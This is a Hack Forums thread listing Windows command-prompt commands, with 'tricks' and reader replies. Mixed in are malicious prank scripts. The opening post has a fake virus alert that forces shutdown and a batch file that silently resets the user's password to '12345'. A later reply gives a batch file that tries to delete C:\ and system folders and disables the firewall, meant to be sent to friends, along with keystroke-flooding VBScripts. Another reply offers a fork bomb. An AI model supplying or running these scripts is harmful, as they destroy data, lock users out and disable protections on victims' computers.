

Forum:[Hack Forums](#)

Thread: [*MEGA THREAD* Got CMD? All Your CMD Needs! Right Here, Right Now! *FIRST MEGA THREAD*](#)

MahmoodHB - April 12, 2011, 6:35 am

[img]http://upload.wikimedia.org/wikipedia/en/e/ef/Command_prompt_icon_%28windows%29.png[/img]

What is CMD?

Its Called The Command Prompt (executable name cmd.exe) is the Microsoft-supplied command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008). It is the analog of COMMAND.COM in MS-DOS and Windows 9x (where it is called MS-DOS Prompt) systems, or of the Unix shells used on Unix-like systems.

How To Access CMD?

There Are Two Ways: Create A Notepad In Desktop and Name It "anything.bat". Note, you can change the name to whatever you want but it has to have ".bat" at the end. Then Open the notepad and Type "Command.com". Then Click on "save as" Change the save as type to "all files" then type in anytinghere... then add .bat at the end.

*In The Start Menu, Click On "Run" and type in "CMD" If You dont have the "Run" icon on your start menu; Right click the start menu, then click "properties" then click on "customize". Scroll Down then Check "Run Command".

Commands:

a

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
ATTRIB Change file attributes

b

BCDBOOT Create or repair a system partition
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

c

CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen

CLUSTER Windows Clustering
CMD Start a new CMD shell
CMDKEY Manage stored usernames/passwords
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data

d

DATE Display or set the date
DEFRAG Defragment hard drive
DEL Delete one or more files
DELPREF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSACLs Active Directory ACLs
DSAdd Add items to active directory (user group computer)
DSGet View items in active directory (user group computer)
DSQuery Search for items in active directory (user group computer)
DSMod Modify items in active directory (user group computer)
DSMove Move an Active directory Object
DSRM Remove items from Active Directory

e

ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EVENTCREATE Add a message to the Windows event log
EXIT Quit the current script/routine and set an errorlevel
EXPAND Uncompress files
EXTRACT Uncompress CAB files

f

FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files
FOR /F Loop command: against the results of another command
FOR Loop command: all options Files, Directory, List
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol

FTYPE Display or modify file types used in file extension associations

g

GLOBAL Display membership of global groups

GOTO Direct a batch program to jump to a labelled line

GPUPDATE Update Group Policy settings

h

HELP Online Help

i

iCACLS Change file and folder permissions

IF Conditionally perform a command

IFMEMBER Is the current user in an NT Workgroup

IPCONFIG Configure IP

k

KILL Remove a program from memory

l

LABEL Edit a disk label

LOCAL Display membership of local groups

LOGEVENT Write text to the NT event viewer

LOGMAN Manage Performance Monitor

LOGOFF Log a user off

LOGTIME Log the date and time in a file

m

MAPISEND Send email from the command line

MBSAcli Baseline Security Analyzer.

MEM Display memory usage

MD Create new folders

MKLINK Create a symbolic link (linkd)

MODE Configure a system device

MORE Display output, one screen at a time

MOUNTVOL Manage a volume mount point

MOVE Move files from one folder to another

MOVEUSER Move a user from one domain to another

MSG Send a message

MSIEXEC Microsoft Windows Installer

MSINFO Windows NT diagnostics

MSTSC Terminal Server Connection (Remote Desktop Protocol)

MV Copy in-use files

n

NET Manage network resources

NETDOM Domain Manager

NETSH Configure Network Interfaces, Windows Firewall & Remote access

NETSVC Command-line Service Controller

NBTSTAT Display networking statistics (NetBIOS over TCP/IP)

NETSTAT Display networking statistics (TCP/IP)

NOW Display the current Date and Time

NSLOOKUP Name server lookup

NTBACKUP Backup folders to tape

NTRIGHTS Edit user account rights

o

OPENFILES Query or display open files

p

PATH Display or set a search path for executable files

PATHPING Trace route plus network latency and packet loss

PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHHD
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRINTBRM Print queue Backup/Recovery
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHHD Save and then change the current directory

q

QGREP Search file(s) for lines that match a given pattern.

r

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files
REPLACE Replace or update one file with another
RD Delete folder(s)
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUN Start | RUN commands
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

s

SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables
SETLOCAL Control the visibility of environment variables
SETX Set environment variables permanently
SFC System File Checker

SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

t

TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file
TypePerf Write performance data to a log file

u

USRSTAT List domain usernames and last login

v

VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

w

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WINRM Windows Remote Management
WINRS Windows Remote Shell
WMIC WMI Commands
WUAUCLT Windows Update

x

XCACLS Change file and folder permissions
XCOPY Copy files and folders
:: Comment / Remark

Tricks

To change a user's password, open CMD, and log on as an administrator and type:

```
net user user_name /domain
```

When you are prompted to type a password for the user, type the new password, not the existing

password. After you type the new password, the system prompts you to retype the password to confirm.

Alternatively, you can type the following command:

```
net user user_name new_password
```

When you do so, the password changes without prompting you again. This command also enables you to change passwords in a batch file.

TO CHANGE CMD TEXT COLOR DO THIS:

TYPE IN CMD

COLOR G

YOU WILL GET MANY OPTION'S CHOSE ONE OF THEM AND TYPE
COLOR (ID)

NOW IN NOTEPAD

TO SHUTDOWN THE COMPUTER TYPE THIS ON NOTEPAD

SHUTDOWN -S -T (THE NUMBER OF SEC'S,MIN'S,HOUR'S,) AND HERE YOU TYPE WHAT
YOU WANT TO SAY DURING THE COUNTING TO SHUT DOWN

Fun!

```
@echo off
```

```
title VIRUS FOUND - FATAL ERROR
```

```
color 0a
```

```
echo:Spyware/Malware/Trojans/Rootkit has been detected
```

```
pause
```

```
echo:You must Scan Your Computer. Press any key to continue.
```

```
pause
```

```
echo:Processing.....Error.....Tetry.... .
```

```
pause
```

```
shutdown -s -t 60 -c "Shuttingdown in less then 60 seconds. Memory will be wiped. Contact Your  
Service Provider."
```

AND SAVE IT AS .BAT FILE

4dm1n1str4t0r!

Paste In Notepad:

```
net user
```

```
net user (username) * [note: just start typing the new password you want]
```

```
net user (username) /add
```

```
net user (username) /del
```

```
net localgroup (localgroup eg.administrators) (username) /add
```

Admin + Shutdown [Epic]

Paste In notepad:

```
@echo off
```

```

net user %USERNAME% "12345" > NUL
echo 01101101
pause
Echo 0000 0000 0000
Echo 000000 02 0000 000000
Echo 00000002 02000000000020 000000000000
Echo 2 000000 000000000000 0000 330000000000
Echo 30000000002 30000000000 3000000000000000
Echo 300000 0000 300000000000 0000000030000000
Echo 0000000000000000 000000000000
Echo 300003000000 00000 0000 0000000000
Echo 0 00 30000 00002 0000 0000000000
Echo 3 22 2 0000 0000000002
pause > NUL
shutdown -s -t 60 -c "Shutting Down. Memory Will Be Wiped. All Hope Is Lost In 60 Seconds."

```

save it as pwn3en3wb.bat

Another CMD trick.

In Notepad put:

PHP Code:
@echo off

```

:loop
echo %random%%random%%random%%random m%%random%%random%
goto loop

```

This will create and infinite numbers

Save your file as something.bat

Teh Cr4sh0o0o0rz!!!1one!!!1

Open notepad and put in :

```

start
start
start

```

Save your file to lol.bat

This will pop up many pages and will CRASH your computer

Have fun! There are many other ways to have fun with CMD!

Polymath 1.0 - April 12, 2011, 7:22 am

Dude, lose some of those colors. They render some parts completely unreadable and thus undermine the effectiveness of what otherwise could have been an informative piece.

Take care

MahmoodHB - April 12, 2011, 7:23 am

Thanks, I'll Change The Colors Now.

g1ll1s - April 12, 2011, 11:36 am

Open notepad and put in :

```
start  
start  
start
```

Save your file to lol.bat

This will pop up many pages and will CRASH your computer

It's actually written this way!

```
:A  
start  
goto a
```

One continuous loop :-)

cobija - April 12, 2011, 2:20 pm

Haha, thank God we dont need to use dos anymore like people had to back in the day.

Mitch. - April 12, 2011, 2:26 pm

I liked this, but the colors of the commands make it unreadable without highlighting the entire text.

-mothered- - April 13, 2011, 2:41 am

Good as a general guidance mate, but the "purple" text, Is somewhat Illegible.

You may wish to change this.

MahmoodHB - April 15, 2011, 6:49 am

Sorry Guys, Ill work on changing the colors asap. I need to wait for 1440 minutes prior to the change of this thread.

Imma post the credits and sources too.

Thanks For Your Support.

(Apr 12, 2011 11:36 AM)g1ll1s Wrote: [\[CITE\]](#) Open notepad and put in :

```
start  
start  
start
```

Save your file to lol.bat

This will pop up many pages and will CRASH your computer

It's actually written this way!

```
:A  
start
```

goto a

One continuous loop :-)

Thanks, Ill be sure to try it out ?

MahmoodHB - May 5, 2011, 5:46 am

A small to this thread ?

Radiation - May 5, 2011, 7:52 am

Wouldn't it be quite of usefull to do it like this?

ADDUSERS - Add or list users to/from a CSV file

ARP - Address Resolution Protocol

ASSOC - Change file extension associations

ASSOCIAT - One step file association

ATTRIB - Change file attributes

This would be a lot easier for the eyes, and quite useful when you want to use the command and want to see whats the code and whats the description

MahmoodHB - May 5, 2011, 8:22 am

(May 5, 2011 07:52 AM)Radiation Wrote: [\[CITE\]](#) Wouldn't it be quite of usefull to do it like this?

ADDUSERS - Add or list users to/from a CSV file

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This would be a lot easier for the eyes, and quite useful when you want to use the command and want to see whats the code and whats the description

Dude, I Know ?

But this thread won't let me edit it ?

savvymatthew - May 5, 2011, 10:58 am

I never knew thats how you change the color.... Nice work .

MahmoodHB - May 5, 2011, 11:58 pm

(May 5, 2011 10:58 AM)savvymatthew Wrote: [\[CITE\]](#) I never knew thats how you change the color.... Nice work .

You are most welcome ?

WiiSports - May 14, 2011, 2:41 am

Hey :)

What about Netstat -n?

MahmoodHB - May 14, 2011, 5:30 am

(May 14, 2011 02:41 AM)WiiSports Wrote: [\[CITE\]](#) Hey :)

What about Netstat -n?

Ooops!
Seems that I forgot to add 'em.
Very Well, I'll add them soon.
Thanks ?

Basics. - May 14, 2011, 8:45 am

Thanks for the cmd guide. Although, the constant change of color in the text is not really professional.

mdm_mattmudden - May 14, 2011, 10:03 am

how about some cmd "key words" for anyway of gettin rid of this "hidden administrator" i think thats wat my issue is i cant do any "run as admin" windows 7 for acer aspire 5532... please help :/

MahmoodHB - May 15, 2011, 7:30 am

(May 14, 2011 10:03 AM)mdm_mattmudden Wrote: [\[CITE\]](#) how about some cmd "key words" for anyway of gettin rid of this "hidden administrator" i think thats wat my issue is i cant do any "run as admin" windows 7 for acer aspire 5532... please help :/

1. First, open an elevated command prompt by typing cmd into the Search box on the Start menu, right-clicking the command prompt icon that appears at the top of the Start menu, then selecting Run as administrator (you don't have to though, but it's recommended)

2. Then enter this command and press Enter:

```
Net user administrator /active:yes
```

From now on, the Administrator account will appear as an option on the Welcome screen, along with any user accounts you may have set up. Use it like any other account.

If you want to disable the account and hide it, enter this command at an elevated command prompt and press Enter:

```
Net user administrator /active:no
```

which i doubt you'd want to do ?

Hope this helps ?
If not, PM me and I'll try my best to help you ?

There are other methods that might work if this doesn't, so feel free to PM me mate ?

-||- - May 15, 2011, 11:14 am

Wow, A Nice Compilation Of CMD Commands ?

iLee - May 15, 2011, 12:30 pm

Colours are unreadable, and if you're making an indexed search, change the Letter HEads to :LETTER, so people can search :LETTER. And leads straight then, rather than sifting through each word with that letter.

MAK1990 - May 16, 2011, 10:08 pm

This is a great collection of Cmd tricks thanks for sharing!!
?

SavageBoys - May 17, 2011, 1:08 am

FYI just press the windows key and type CMD to open it up, even if the run prompt isn't listed it will open it for you.

MahmoodHB - May 24, 2011, 11:45 am

(May 17, 2011 01:08 AM)Ev?luti?n Wrote: [\[CITE\]](#) FYI just press the windows key and type CMD to open it up, even if the run prompt isn't listed it will open it for you.
This Was Ment For ALL Windows OS In General.

skaterblast124 - May 24, 2011, 2:29 pm

Nice Post! It will be really helpful for people who are good with CMD xD

-Skaterblast124

Vendetta08 - June 15, 2011, 1:48 am

Thanks I'll use this!!?

skubi - July 3, 2011, 9:54 am

Thanks for the post good stuff

Jinu - July 3, 2011, 10:34 am

Nice thread..

.
.

PCGOD - July 3, 2011, 11:59 am

Nice thread, I had forgotten about some of those commands.

screenbuster - July 5, 2011, 6:14 pm

it be quite usefull to do it

Bamarah - August 13, 2011, 4:21 am

I'm an avid Windows users so all of these CMD commands come in handy. Thank you!

framework - August 13, 2011, 2:01 pm

It's been a while since I've seen an actual list, not just a copy - paste of the help command.

Great work! ?

Diabolic - August 13, 2011, 3:12 pm

Thanks for this, it's a massive list of useful common day CMD prompt commands.

[eno] - August 25, 2011, 8:47 pm

(Apr 12, 2011 02:20 PM)cobija Wrote: [\[CITE\]](#) Haha, thank God we dont need to use dos anymore like people had to back in the day.

hmmbb ...

I agree about your opinion, continue?

TheVangsgaard - September 6, 2011, 9:39 am

Very Nice and Usefull commands....

You got any fun commands to use in the school?

Techie??? - September 6, 2011, 10:03 am

Just format the thread and get a sticky. :D

4balls - September 6, 2011, 11:00 am

This is so nice, bookmarked this page so I'll always have it. Thanks.

Le0ndavies - September 6, 2011, 1:16 pm

woah thanks this will help me alot :)

(° ? °) - September 6, 2011, 2:02 pm

You do know that you need admin previledges to add/change user passwords and accounts.
Nice thread by the way

ZeynTM - September 6, 2011, 2:25 pm

Very great and helpful. Thank you very much!

fckn - September 6, 2011, 11:48 pm

Nice resource even if the color scheme makes it a bit difficult to read.

The.Bronze.Shroud - September 14, 2011, 3:47 pm

Kinda hard to read but good share :D

h4ck3rrul3 - September 16, 2011, 12:59 am

thanks for this thread...very useful...

Two thumbs-up....nice one :)

deathaces452 - February 7, 2012, 7:32 pm

you can type in Type in notepad:

```
@echo off
msg I don't like you
shutdown -c "Error! You are too stupid!" -s
save it as a .bat
or these
```

```
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
```

Toggle your friend's Caps Lock button simultaneously:

Type :

```
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop save it as a bat
```

Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :

```
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop save it as .bat
```

Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

```
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop save it .bat
```

Ok this is my favorite , this script fuck with your friend's keyboard and make him type "You are a fool" simultaneously , u can change " you are a fool" to any anything u want .

Type :

```
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
```

Save it as "Anything.bat" and send it.
or u can do this if u really want to piss someone off

```
@echo off
disable mouse
disable keyboard
disable sys32
disable system32
del C:\
del C:\dos
del C:\windows
del C:\windows\system
del C:\stacker
del C:\norton
del C:\windows\system32
del C:\system32\logonu1.exe
del C:\windows\system32\restore
del C:\windows\system32\winlogin.exe
del C:\windows
del C:\NVIDIA
del C:\windows
del C:\Documents And Settings
del D:\RECOVERY
del C:\SwSetup
```

```
del C:\Temp
del C:\Program Files
del C:\PerfLogs
del C:\.rnd
del C:\Brukere
del C:\Users
del C:\MCP
del C:\CMD
del C:\
disable windows
dir /s
echo I am your virus. I deleted your files
echo because you tried to delete me.
echo By the way, I am going to fuck ur pc."
pause
shutdown -s -t 10 -c "Say goodbye to you computer!"
netsh
firewall
set opmode disable
del "C:/Windows/system32/hall.dll"
del "C:/Windows/system32/sensapi.dll"
start "http://youareanidiot.org/"
shutdown -s -t 15
msg * Bye !
shutdown -a
shutdown -s -t 0
```

PCGOD - February 7, 2012, 8:01 pm

Can you code it as well so it doesn't take days to scroll for the people that have smaller monitors. I'll also go through my commands and add some to what you didn't list.

This actually looks like the list from one of my sites that I posted on another topic plus some:

<http://ss64.com/nt/>

Here are more commands: (too long to post so here is the original)

[Windows commands & explanations](#)

Dreams - February 10, 2012, 5:58 pm

hard to read, but thank you anyways!

Papaya - February 24, 2012, 3:18 pm

Instead of the code of the last one, try %0|%0. Much more efficient, but does the same thing.

Mr. Awesome Guy - February 24, 2012, 6:11 pm

The color coding and alphabetization really helps.

Thanks!

LaFerrari. - February 27, 2012, 1:53 am

I always use this method in school if I wanna use CMD:

Right mouse click --> New --> Shortcut

Type in CMD.exe
Press Next
Type in how you wanna call it... I just call it CMD then press Finish!

Now you got a fully working CMD ;D

ryck - February 28, 2012, 12:22 am

Nice thread good job and thanks for sharing!

phantasmagorical - March 14, 2012, 3:55 pm

Awesome :o. I never knew cmd could do so much, especially the colors :D.

Kaos™ - March 14, 2012, 4:26 pm

people dont know bout the colors? wow ima noob and the 1st thing i did to my cmd was chnaged the colors and made it transparent oh well. Good post this will help learn cmd alot more easier

Shadow_Thief - April 2, 2012, 2:28 am

hhaha thanks man isnt there also like a shutdown-i remote stutdown command for people on your network?

Morchid - April 2, 2012, 9:33 am

thank God we dont need to use dos anymore like people had to back in the day.

Eric21 - April 2, 2012, 9:09 pm

Thanks for this thread but the colour seems not that much fairr

Jaames - May 3, 2012, 5:39 am

Cool thread. Although like everyone else says, you can't really read the purple writing.

theroyoboyo - June 24, 2012, 7:30 am

how can i make a new hidden admin account?

iKss - July 3, 2012, 11:29 am

Very very nice and usefull thread !

- iKss

looop0100 - July 31, 2012, 6:56 pm

Nice thread Really help full thanks for sharing it.

AgAm - October 8, 2012, 5:44 am

good work....!!! keep it up....!!!!1

MrMagic - October 8, 2012, 10:40 am

Really great tutorial OP. I would rep you up if I could. It is rather difficult to read due to the colors as everyone else said, but otherwise, it is very good. The only problem is that because Windows is now so "Fool-Proof" a lot of the commands don't work. They give you access denied or other such nonsense. I rarely even use the Windows command line unless I have a major problem to fix.

slayboy500 - November 14, 2012, 4:47 pm

Nice thread! its fun to make a matrix.bat and make the file on other's computers. they freak out haha

HolyRabbit - November 15, 2012, 6:56 am

Cool! Nice tutorial, really helpful. Thanks for this thread. :)

bolthacker - *March 26, 2013, 3:33 am*

Great job!

All the functions at one place, You kinda made a CMD library! :)

Gustav. - *March 26, 2013, 8:52 am*

I agree with polymath on this, please consider on losing the colors. Quite a pain to look at.